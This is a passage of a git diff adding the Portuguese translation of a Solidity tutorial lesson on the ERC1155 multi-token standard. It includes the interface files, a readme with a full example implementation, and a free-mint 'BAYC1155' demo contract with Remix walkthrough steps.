try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( + bytes4 response + ) { + if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { + revert("ERC1155: ERC1155Receiver rejected tokens"); + } + } catch Error(string memory reason) { + revert(reason); + } catch { + revert("ERC1155: transfer to non-ERC1155Receiver implementer"); + } + } + } + + /** + * @dev Retorna o URI do token de uma categoria de ID do ERC1155, armazenando metadados, semelhante ao tokenURI do ERC721. + */ + function uri(uint256 id) public view virtual override returns (string memory) { + string memory baseURI = _baseURI(); + return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, id.toString())) : ""; + } + + /** + * Calcula o BaseURI de {uri}, onde uri é a concatenação de baseURI e tokenId, precisa ser reescrito pelo desenvolvedor. + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } +} diff --git a/Languages/pt-br/40_ERC1155/IERC1155.sol b/Languages/pt-br/40_ERC1155/IERC1155.sol new file mode 100644 index 000000000..45a6c059a --- /dev/null +++ b/Languages/pt-br/40_ERC1155/IERC1155.sol @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "../34_ERC721/IERC165.sol"; + +/** + * @dev Contrato de interface padrão ERC1155, que implementa as funcionalidades do EIP1155 + * Veja mais em: https://eips.ethereum.org/EIPS/eip-1155[EIP]. + */ +interface IERC1155 is IERC165 { + /** + * @dev Evento de transferência de token de uma única classe + * É acionado quando `operator` transfere `value` tokens da classe `id` de `from` para `to`. + */ + event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); + + /** + * @dev Evento de transferência de tokens de várias classes + * ids e values são arrays de tipos e quantidades de tokens transferidos + */ + event TransferBatch( + address indexed operator, + address indexed from, + address indexed to, + uint256[] ids, + uint256[] values + ); + + /** + * @dev Evento de autorização em lote + * Disparado quando `account` concede autorização de todos os tokens para `operator` + */ + event ApprovalForAll(address indexed account, address indexed operator, bool approved); + + /** + * @dev Quando o URI do token da categoria `id` é alterado, libera, `value` é o novo URI + */ + event URI(string value, uint256 indexed id); + + /** + * @dev Consulta de posição, retorna a quantidade de tokens detidos por `account` do tipo `id` + */ + function balanceOf(address account, uint256 id) external view returns (uint256); + + /** + * @dev Consulta de posição em lote, o comprimento dos arrays `accounts` e `ids` deve ser igual. + */ + function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) + external + view + returns (uint256[] memory); + + /** + * @dev Autorização em lote, concede ao chamador a permissão de transferir tokens para o endereço do `operador`. + * Emite o evento {ApprovalForAll}. + */ + function setApprovalForAll(address operator, bool approved) external; + + /** + * @dev Consulta de autorização em lote, retorna `true` se o endereço de autorização `operator` estiver autorizado por `account` + * Veja a função {setApprovalForAll}. + */ + function isApprovedForAll(address account, address operator) external view returns (bool); + + /** + * @dev Transferência segura, transfere `amount` unidades do token de tipo `id` de `from` para `to`. + * Emite o evento {TransferSingle}. + * Requisitos: + * - Se o chamador não for o endereço `from`, mas sim um endereço autorizado, é necessário obter autorização de `from`. + * - O endereço `from` deve ter saldo suficiente. + * - Se o destinatário for um contrato, ele deve implementar o método `onERC1155Received` do `IERC1155Receiver` e retornar o valor correspondente. + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes calldata data + ) external; + + /** + * @dev Transferência segura em lote + * Dispara o evento {TransferBatch} + * Requisitos: + * - Os arrays `ids` e `amounts` devem ter o mesmo tamanho + * - Se o destinatário for um contrato, ele deve implementar o método `onERC1155BatchReceived` da interface `IERC1155Receiver` e retornar o valor correspondente + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] calldata ids, + uint256[] calldata amounts, + bytes calldata data + ) external; +} diff --git a/Languages/pt-br/40_ERC1155/IERC1155MetadataURI.sol b/Languages/pt-br/40_ERC1155/IERC1155MetadataURI.sol new file mode 100644 index 000000000..4850073ae --- /dev/null +++ b/Languages/pt-br/40_ERC1155/IERC1155MetadataURI.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./IERC1155.sol"; + +/** + * @dev Interface opcional para ERC1155, que adiciona a função uri() para consultar metadados. + */ +interface IERC1155MetadataURI is IERC1155 { + /** + * @dev Retorna o URI do token da categoria `id` + */ + function uri(uint256 id) external view returns (string memory); +} \ No newline at end of file diff --git a/Languages/pt-br/40_ERC1155/IERC1155Receiver.sol b/Languages/pt-br/40_ERC1155/IERC1155Receiver.sol new file mode 100644 index 000000000..0ff37886c --- /dev/null +++ b/Languages/pt-br/40_ERC1155/IERC1155Receiver.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "../34_ERC721/IERC165.sol"; + +/** + * @dev Contrato receptor de ERC1155. Para receber transferências seguras de ERC1155, é necessário implementar este contrato. + */ +interface IERC1155Receiver is IERC165 { + /** + * @dev Aceita transferência segura de ERC1155 `safeTransferFrom` + * Deve retornar 0xf23a6e61 ou `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` + */ + function onERC1155Received( + address operator, + address from, + uint256 id, + uint256 value, + bytes calldata data + ) external returns (bytes4); + + /** + * @dev Aceita transferências seguras em lote de ERC1155 `safeBatchTransferFrom` + * Precisa retornar 0xbc197c81 ou `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` + */ + function onERC1155BatchReceived( + address operator, + address from, + uint256[] calldata ids, + uint256[] calldata values, + bytes calldata data + ) external returns (bytes4); +} diff --git a/Languages/pt-br/40_ERC1155/img/40-1.jpg b/Languages/pt-br/40_ERC1155/img/40-1.jpg new file mode 100644 index 000000000..f140ed3d1 Binary files /dev/null and b/Languages/pt-br/40_ERC1155/img/40-1.jpg differ diff --git a/Languages/pt-br/40_ERC1155/img/40-2.jpg b/Languages/pt-br/40_ERC1155/img/40-2.jpg new file mode 100644 index 000000000..12d59d37d Binary files /dev/null and b/Languages/pt-br/40_ERC1155/img/40-2.jpg differ diff --git a/Languages/pt-br/40_ERC1155/img/40-3.jpg b/Languages/pt-br/40_ERC1155/img/40-3.jpg new file mode 100644 index 000000000..1a9f614e5 Binary files /dev/null and b/Languages/pt-br/40_ERC1155/img/40-3.jpg differ diff --git a/Languages/pt-br/40_ERC1155/img/40-4.jpg b/Languages/pt-br/40_ERC1155/img/40-4.jpg new file mode 100644 index 000000000..9411823ab Binary files /dev/null and b/Languages/pt-br/40_ERC1155/img/40-4.jpg differ diff --git a/Languages/pt-br/40_ERC1155/img/40-5.jpg b/Languages/pt-br/40_ERC1155/img/40-5.jpg new file mode 100644 index 000000000..5c86ec659 Binary files /dev/null and b/Languages/pt-br/40_ERC1155/img/40-5.jpg differ diff --git a/Languages/pt-br/40_ERC1155/img/40-6.jpg b/Languages/pt-br/40_ERC1155/img/40-6.jpg new file mode 100644 index 000000000..a1a4e2c1b Binary files /dev/null and b/Languages/pt-br/40_ERC1155/img/40-6.jpg differ diff --git a/Languages/pt-br/40_ERC1155/img/40-7.jpg b/Languages/pt-br/40_ERC1155/img/40-7.jpg new file mode 100644 index 000000000..7d1d6dab2 Binary files /dev/null and b/Languages/pt-br/40_ERC1155/img/40-7.jpg differ diff --git a/Languages/pt-br/40_ERC1155/img/40-8.jpg b/Languages/pt-br/40_ERC1155/img/40-8.jpg new file mode 100644 index 000000000..c34ffa749 Binary files /dev/null and b/Languages/pt-br/40_ERC1155/img/40-8.jpg differ diff --git a/Languages/pt-br/40_ERC1155/readme.md b/Languages/pt-br/40_ERC1155/readme.md new file mode 100644 index 000000000..31af11756 --- /dev/null +++ b/Languages/pt-br/40_ERC1155/readme.md @@ -0,0 +1,628 @@ +--- +title: 40. ERC1155 +tags: + - solidity + - aplicação + - wtfacademy + - ERC1155 +--- + +# WTF Introdução Simples ao Solidity: 40. ERC1155 + +Recentemente, tenho estado a estudar Solidity novamente para consolidar alguns detalhes e escrever um "WTF Introdução Simples ao Solidity" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Discord: [WTF Academy](https://discord.gg/5akcruXrsk) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Nesta aula, vamos aprender sobre o padrão `ERC1155`, que permite que um contrato contenha vários tipos de tokens. Além disso, vamos criar um token chato modificado chamado `BAYC1155`, que contém 10.000 tipos de tokens e tem metadados idênticos ao `BAYC`. + +## `EIP1155` +Tanto o padrão `ERC20` quanto o `ERC721` permitem que um contrato represente um único tipo de token. No entanto, se quisermos criar um jogo em larga escala semelhante ao "World of Warcraft" na Ethereum, teríamos que implantar um contrato para cada item do jogo. Isso seria muito complicado, pois teríamos que implantar e gerenciar milhares de contratos. Por isso, a proposta [EIP1155 da Ethereum](https://eips.ethereum.org/EIPS/eip-1155) introduziu o padrão `ERC1155`, que permite que um contrato contenha vários tipos de tokens fungíveis e não fungíveis. O `ERC1155` é amplamente utilizado em aplicativos de GameFi, como Decentraland e Sandbox. + +Em resumo, o `ERC1155` é semelhante ao padrão de token não fungível (NFT) `ERC721` que discutimos anteriormente. No `ERC721`, cada token tem um `tokenId` como identificador exclusivo e cada `tokenId` corresponde a um único token. No `ERC1155`, cada tipo de token tem um `id` como identificador exclusivo e cada `id` corresponde a um tipo de token. Isso permite que diferentes tipos de tokens sejam gerenciados no mesmo contrato e cada tipo de token tem uma URL `uri` para armazenar seus metadados, semelhante ao `tokenURI` do `ERC721`. Abaixo está o contrato de interface de metadados `IERC1155MetadataURI` do `ERC1155`: + +```solidity +/** + * @dev Interface opcional do ERC1155 que adiciona a função uri() para consultar metadados + */ +interface IERC1155MetadataURI is IERC1155 { + /** + * @dev Retorna a URL dos metadados do token do tipo `id` + */ + function uri(uint256 id) external view returns (string memory); +``` + +Então, como diferenciamos entre tokens fungíveis e não fungíveis no `ERC1155`? É muito simples: se a quantidade total de tokens correspondente a um determinado `id` for `1`, então é um token não fungível, semelhante ao `ERC721`. Se a quantidade total de tokens correspondente a um determinado `id` for maior que `1`, então é um token fungível, pois todos esses tokens compartilham o mesmo `id`, semelhante ao `ERC20`. + +## Contrato de Interface `IERC1155` + +A interface `IERC1155` abstrai as funcionalidades que o `EIP1155` requer que sejam implementadas. Ela inclui `4` eventos e `6` funções. Ao contrário do `ERC721`, que representa um único tipo de token, o `ERC1155` permite a transferência e consulta de saldo de vários tipos de tokens em uma única operação. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/IERC165.sol"; + +/** + * @dev Interface padrão do ERC1155 que implementa as funcionalidades do EIP1155 + * Veja: https://eips.ethereum.org/EIPS/eip-1155[EIP]. + */ +interface IERC1155 is IERC165 { + /** + * @dev Evento de transferência de um único tipo de token + * É emitido quando `value` tokens do tipo `id` são transferidos de `from` para `to` pelo `operator`. + */ + event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); + + /** + * @dev Evento de transferência de vários tipos de tokens + * `ids` e `values` são os arrays de tipos e quantidades de tokens transferidos. + */ + event TransferBatch( + address indexed operator, + address indexed from, + address indexed to, + uint256[] ids, + uint256[] values + ); + + /** + * @dev Evento de aprovação em lote + * É emitido quando `account` aprova o `operator` para gerenciar todos os seus tokens. + */ + event ApprovalForAll(address indexed account, address indexed operator, bool approved); + + /** + * @dev Evento de alteração da URL dos metadados de um tipo de token `id` + * É emitido quando a URL dos metadados de um tipo de token `id` é alterada para `value`. + */ + event URI(string value, uint256 indexed id); + + /** + * @dev Função para consultar o saldo de tokens do tipo `id` que o `account` possui. + */ + function balanceOf(address account, uint256 id) external view returns (uint256); + + /** + * @dev Função para consultar o saldo de vários tipos de tokens que o `accounts` possui. + * Os arrays `accounts` e `ids` devem ter o mesmo tamanho. + */ + function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) + external + view + returns (uint256[] memory); + + /** + * @dev Função para aprovar o `operator` a gerenciar todos os tokens do `caller`. + * Emite o evento {ApprovalForAll}. + */ + function setApprovalForAll(address operator, bool approved) external; + + /** + * @dev Função para consultar se o `operator` está aprovado para gerenciar todos os tokens do `account`. + * Veja a função {setApprovalForAll}. + */ + function isApprovedForAll(address account, address operator) external view returns (bool); + + /** + * @dev Função para transferir `amount` tokens do tipo `id` do `from` para o `to`. + * Emite o evento {TransferSingle}. + * Requerimentos: + * - Se o `caller` não for o `from`, ele precisa ter a aprovação do `from`. + * - O `from` precisa ter saldo suficiente. + * - Se o `to` for um contrato, ele precisa implementar a função `onERC1155Received` do `IERC1155Receiver` e retornar o valor correto. + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes calldata data + ) external; + + /** + * @dev Função para transferir vários tipos de tokens do `from` para o `to`. + * Emite o evento {TransferBatch}. + * Requerimentos: + * - Os arrays `ids` e `amounts` devem ter o mesmo tamanho. + * - Se o `to` for um contrato, ele precisa implementar a função `onERC1155BatchReceived` do `IERC1155Receiver` e retornar o valor correto. + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] calldata ids, + uint256[] calldata amounts, + bytes calldata data + ) external; +} +``` + +### Eventos do `IERC1155` +- Evento `TransferSingle`: evento de transferência de um único tipo de token, é emitido quando `value` tokens do tipo `id` são transferidos de `from` para `to` pelo `operator`. +- Evento `TransferBatch`: evento de transferência de vários tipos de tokens, `ids` e `values` são os arrays de tipos e quantidades de tokens transferidos. +- Evento `ApprovalForAll`: evento de aprovação em lote, é emitido quando `account` aprova o `operator` para gerenciar todos os seus tokens. +- Evento `URI`: evento de alteração da URL dos metadados de um tipo de token `id`, é emitido quando a URL dos metadados de um tipo de token `id` é alterada para `value`. + +### Funções do `IERC1155` +- `balanceOf()`: função para consultar o saldo de tokens do tipo `id` que o `account` possui. +- `balanceOfBatch()`: função para consultar o saldo de vários tipos de tokens que o `accounts` possui. +- `setApprovalForAll()`: função para aprovar o `operator` a gerenciar todos os tokens do `caller`. +- `isApprovedForAll()`: função para consultar se o `operator` está aprovado para gerenciar todos os tokens do `account`. +- `safeTransferFrom()`: função para transferir `amount` tokens do tipo `id` do `from` para o `to`. +- `safeBatchTransferFrom()`: função para transferir vários tipos de tokens do `from` para o `to`. + +## Contrato de Recebimento do `ERC1155` + +Assim como o padrão `ERC721`, para evitar que os tokens sejam transferidos para contratos "buraco negro", o `ERC1155` exige que o contrato de recebimento do token implemente a interface `IERC1155Receiver` e os dois métodos de recebimento: + +- `onERC1155Received()`: método de recebimento para transferência de um único tipo de token, deve ser implementado e retornar o seletor `0xf23a6e61`. + +- `onERC1155BatchReceived()`: método de recebimento para transferência de vários tipos de tokens, deve ser implementado e retornar o seletor `0xbc197c81`. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/IERC165.sol"; + +/** + * @dev Contrato de recebimento do ERC1155, deve ser implementado para receber transferências seguras do ERC1155 + */ +interface IERC1155Receiver is IERC165 { + /** + * @dev Recebe transferência segura do ERC1155 `safeTransferFrom` + * Deve retornar 0xf23a6e61 ou `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` + */ + function onERC1155Received( + address operator, + address from, + uint256 id, + uint256 value, + bytes calldata data + ) external returns (bytes4); + + /** + * @dev Recebe transferência segura em lote do ERC1155 `safeBatchTransferFrom` + * Deve retornar 0xbc197c81 ou `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` + */ + function onERC1155BatchReceived( + address operator, + address from, + uint256[] calldata ids, + uint256[] calldata values, + bytes calldata data + ) external returns (bytes4); +} +``` + +## Contrato Principal do `ERC1155` + +O contrato principal do `ERC1155` implementa as funções especificadas pela interface `IERC1155` e também inclui funções para a criação e destruição de tokens individuais e em lote. + +### Variáveis do `ERC1155` + +O contrato principal do `ERC1155` inclui `4` variáveis de estado: + +- `name`: nome do token +- `symbol`: símbolo do token +- `_balances`: mapeamento dos saldos dos tokens, que registra o saldo do tipo de token `id` para um determinado endereço `account`. +- `_operatorApprovals`: mapeamento das aprovações em lote, que registra se um endereço possui aprovação para gerenciar os tokens de outro endereço. + +### Funções do `ERC1155` + +O contrato principal do `ERC1155` inclui `16` funções: + +- Construtor: inicializa as variáveis de estado `name` e `symbol`. +- `supportsInterface()`: implementa o padrão `ERC165`, declarando as interfaces que suporta para que outros contratos possam verificar. +- `balanceOf()`: implementa a função `balanceOf()` da interface `IERC1155`, que consulta o saldo de um determinado tipo de token para um determinado endereço. +- `balanceOfBatch()`: implementa a função `balanceOfBatch()` da interface `IERC1155`, que consulta o saldo de vários tipos de tokens para vários endereços. +- `setApprovalForAll()`: implementa a função `setApprovalForAll()` da interface `IERC1155`, que aprova um endereço para gerenciar todos os tokens de um determinado endereço. +- `isApprovedForAll()`: implementa a função `isApprovedForAll()` da interface `IERC1155`, que consulta se um endereço está aprovado para gerenciar todos os tokens de outro endereço. +- `safeTransferFrom()`: implementa a função `safeTransferFrom()` da interface `IERC1155`, que transfere um determinado valor de um tipo de token de um endereço para outro. +- `safeBatchTransferFrom()`: implementa a função `safeBatchTransferFrom()` da interface `IERC1155`, que transfere vários tipos de tokens de um endereço para outro. +- `_mint()`: função de criação de um único tipo de token. +- `_mintBatch()`: função de criação de vários tipos de tokens. +- `_burn()`: função de destruição de um único tipo de token. +- `_burnBatch()`: função de destruição de vários tipos de tokens. +- `_doSafeTransferAcceptanceCheck()`: verificação de segurança para transferência de um único tipo de token, chamada pela função `safeTransferFrom()`, garante que o destinatário seja um contrato que implemente a função `onERC1155Received()`. +- `_doSafeBatchTransferAcceptanceCheck()`: verificação de segurança para transferência de vários tipos de tokens, chamada pela função `safeBatchTransferFrom()`, garante que o destinatário seja um contrato que implemente a função `onERC1155BatchReceived()`. +- `uri()`: retorna a URL dos metadados do tipo de token `id`, semelhante ao `tokenURI` do `ERC721`. +- `baseURI()`: retorna o `baseURI`, que é concatenado com o `id` para formar a URL completa dos metadados do `ERC1155`. Esta função pode ser sobrescrita. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./IERC1155.sol"; +import "./IERC1155Receiver.sol"; +import "./IERC1155MetadataURI.sol"; +import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/Address.sol"; +import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/String.sol"; +import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/IERC165.sol"; + +/** + * @dev Padrão ERC1155 para múltiplos tipos de tokens + * Veja https://eips.ethereum.org/EIPS/eip-1155 + */ +contract ERC1155 is IERC165, IERC1155, IERC1155MetadataURI { + using Address for address; // Usando a biblioteca Address para verificar se um endereço é um contrato + using Strings for uint256; // Usando a biblioteca Strings + + // Nome do token + string public name; + // Símbolo do token + string public symbol; + // Mapeamento dos saldos dos tokens + mapping(uint256 => mapping(address => uint256)) private _balances; + // Mapeamento das aprovações em lote + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * Construtor, inicializa o nome e o símbolo + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + /** + * @dev Veja {IERC165-supportsInterface}. + */ + function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { + return + interfaceId == type(IERC1155).interfaceId || + interfaceId == type(IERC1155MetadataURI).interfaceId || + interfaceId == type(IERC165).interfaceId; + } + + /** + * @dev Consulta o saldo de tokens do tipo `id` que o `account` possui. + */ + function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { + require(account != address(0), "ERC1155: address zero is not a valid owner"); + return _balances[id][account]; + } + + /** + * @dev Consulta o saldo de vários tipos de tokens que o `accounts` possui. + * Requerimentos: + * - Os arrays `accounts` e `ids` devem ter o mesmo tamanho. + */ + function balanceOfBatch(address[] memory accounts, uint256[] memory ids) + public view virtual override + returns (uint256[] memory) + { + require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); + uint256[] memory batchBalances = new uint256[](accounts.length); + for (uint256 i = 0; i < accounts.length; ++i) { + batchBalances[i] = balanceOf(accounts[i], ids[i]); + } + return batchBalances; + } + + /** + * @dev Aprova o `operator` a gerenciar todos os tokens do `caller`. + * Emite o evento {ApprovalForAll}. + * Requerimentos: + * - O `caller` não pode ser o `operator`. + */ + function setApprovalForAll(address operator, bool approved) public virtual override { + require(msg.sender != operator, "ERC1155: setting approval status for self"); + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + /** + * @dev Consulta se o `operator` está aprovado para gerenciar todos os tokens do `account`. + */ + function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { + return _operatorApprovals[account][operator]; + } + + /** + * @dev Transfere `amount` tokens do tipo `id` do `from` para o `to`. + * Emite o evento {TransferSingle}. + * Requerimentos: + * - O `to` não pode ser o endereço zero. + * - O `from` deve ter saldo suficiente. + * - Se o `to` for um contrato, ele deve implementar a função `onERC1155Received` do `IERC1155Receiver` e retornar o valor correto. + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) public virtual override { + address operator = msg.sender; + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require(to != address(0), "ERC1155: transfer to the zero address"); + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + emit TransferSingle(operator, from, to, id, amount); + _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); + } + + /** + * @dev Transfere em lote `amounts` tokens dos tipos `ids` do `from` para o `to`. + * Emite o evento {TransferBatch}. + * Requerimentos: + * - O `to` não pode ser o endereço zero. + * - O `from` deve ter saldo suficiente. + * - Se o `to` for um contrato, ele deve implementar a função `onERC1155BatchReceived` do `IERC1155Receiver` e retornar o valor correto. + * - Os arrays `ids` e `amounts` devem ter o mesmo tamanho. + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) public virtual override { + address operator = msg.sender; + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + require(to != address(0), "ERC1155: transfer to the zero address"); + + for (uint256 i = 0; i < ids.length; ++i) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + } + + emit TransferBatch(operator, from, to, ids, amounts); + _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); + } + + /** + * @dev Função interna para criar um único tipo de token. + * Emite o evento {TransferSingle}. + */ + function _mint( + address to, + uint256 id, + uint256 amount, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + + address operator = msg.sender; + + _balances[id][to] += amount; + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); + } + + /** + * @dev Função interna para criar vários tipos de tokens. + * Emite o evento {TransferBatch}. + */ + function _mintBatch( + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + _balances[ids[i]][to] += amounts[i]; + } + + emit TransferBatch(operator, address(0), to, ids, amounts); + + _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); + } + + /** + * @dev Função interna para destruir um único tipo de token. + */ + function _burn( + address from, + uint256 id, + uint256 amount + ) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + + address operator = msg.sender; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + + emit TransferSingle(operator, from, address(0), id, amount); + } + + /** + * @dev Função interna para destruir vários tipos de tokens. + */ + function _burnBatch( + address from, + uint256[] memory ids, + uint256[] memory amounts + ) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + } + + emit TransferBatch(operator, from, address(0), ids, amounts); + } + + // Função interna para verificar a transferência segura do ERC1155 + function _doSafeTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) private { + if (to.isContract()) { + try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { + if (response != IERC1155Receiver.onERC1155Received.selector) { + revert("ERC1155: ERC1155Receiver rejected tokens"); + } + } catch Error(string memory reason) { + revert(reason); + } catch { + revert("ERC1155: transfer to non-ERC1155Receiver implementer"); + } + } + } + + // Função interna para verificar a transferência segura em lote do ERC1155 + function _doSafeBatchTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) private { + if (to.isContract()) { + try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( + bytes4 response + ) { + if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { + revert("ERC1155: ERC1155Receiver rejected tokens"); + } + } catch Error(string memory reason) { + revert(reason); + } catch { + revert("ERC1155: transfer to non-ERC1155Receiver implementer"); + } + } + } + + /** + * @dev Retorna a URL dos metadados do tipo de token `id`, semelhante ao `tokenURI` do `ERC721`. + */ + function uri(uint256 id) public view virtual override returns (string memory) { + string memory baseURI = _baseURI(); + return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, id.toString())) : ""; + } + + /** + * @dev Retorna o `baseURI`, que é concatenado com o `id` para formar a URL completa dos metadados do `ERC1155`. + * Esta função pode ser sobrescrita. + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } +} +``` + +## `BAYC`, mas `ERC1155` + +Vamos modificar o token chato `BAYC` do padrão `ERC721` e criar um token gratuito chamado `BAYC1155` usando o `ERC1155`. Vamos modificar a função `_baseURI()` para que o `uri` do `BAYC1155` seja igual ao `tokenURI` do `BAYC`. Dessa forma, os metadados do `BAYC1155` serão idênticos aos do `BAYC`: + +```solidity +// SPDX-License-Identifier: MIT +// por 0xAA +pragma solidity ^0.8.21; + +import "./ERC1155.sol"; + +contract BAYC1155 is ERC1155 { + uint256 constant MAX_ID = 10000; + + constructor() ERC1155("BAYC1155", "BAYC1155") { + } + + function _baseURI() internal pure override returns (string memory) { + return "ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/"; + } + + function mint(address to, uint256 id, uint256 amount) external { + require(id < MAX_ID, "id overflow"); + _mint(to, id, amount, ""); + } + + function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts) external { + for (uint256 i = 0; i < ids.length; i++) { + require(ids[i] < MAX_ID, "id overflow"); + } + _mintBatch(to, ids, amounts, ""); + } +} +``` + +## Demonstração no Remix + +### 1. Implante o contrato `BAYC1155` +![deploy](./img/40-1.jpg) + +### 2. Verifique o `uri` dos metadados +![metadata](./img/40-2.jpg) + +### 3. Faça uma operação de `mint` e verifique a alteração no saldo +Na seção `mint`, insira o endereço da conta, o `id` e a quantidade e clique no botão `mint`. Se a quantidade for `1`, será um token não fungível; se a quantidade for maior que `1`, será um token fungível. + +![mint1](./img/40-3.jpg) + +Na seção `balanceOf`, insira o endereço da conta e o `id` para verificar o saldo correspondente. + +![mint2](./img/40-4.jpg) + +### 4. Faça uma operação de `mintBatch` e verifique a alteração no saldo +Na seção `mintBatch`, insira os arrays de `ids` e `amounts` para os tokens que deseja criar. Os dois arrays devem ter o mesmo tamanho. + +![batchmint1](./img/40-5.jpg) + +Na seção `balanceOf`, insira o endereço da conta e os `ids` dos tokens que foram criados para verificar o saldo correspondente. + +![batchmint2](./img/40-6.jpg) + +### 5. Faça uma operação de transferência em lote e verifique a alteração no saldo +Assim como na operação de criação, insira os arrays de `ids` e `amounts` para os tokens que deseja transferir em lote. + +![transfer1](./img/40-7.jpg) + +Na seção `balanceOf`, insira o endereço da conta para a qual os tokens foram transferidos e os `ids` dos tokens para verificar o saldo correspondente. + +![transfer2](./img/40-8.jpg) + +## Conclusão + +Nesta aula, aprendemos sobre o padrão `ERC1155` proposto pelo Ethereum EIP1155, que permite que um contrato contenha vários tipos de tokens fungíveis e não fungíveis. Também criamos uma versão modificada do token chato `BAYC` chamado `BAYC1155`, que contém 10.000 tipos de tokens e tem metadados idênticos ao `BAYC`. Atualmente, o `ERC1155` é amplamente utilizado em aplicativos de GameFi. No entanto, acredito que, com o desenvolvimento contínuo da tecnologia do metaverso, esse padrão se tornará cada vez mais popular. + diff --git a/Languages/pt-br/41_WETH/WETH.sol b/Languages/pt-br/41_WETH/WETH.sol new file mode 100644 index 000000000..e5130c48c --- /dev/null +++ b/Languages/pt-br/41_WETH/WETH.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +// autor: 0xAA +// contrato original no ETH: https://rinkeby.etherscan.io/token/0xc778417e063141139fce010982780140aa0cd5ab?a=0xe16c1623c1aa7d919cd2241d8b36d9e79c1be2a2#code +pragma solidity ^0.8.0; +import 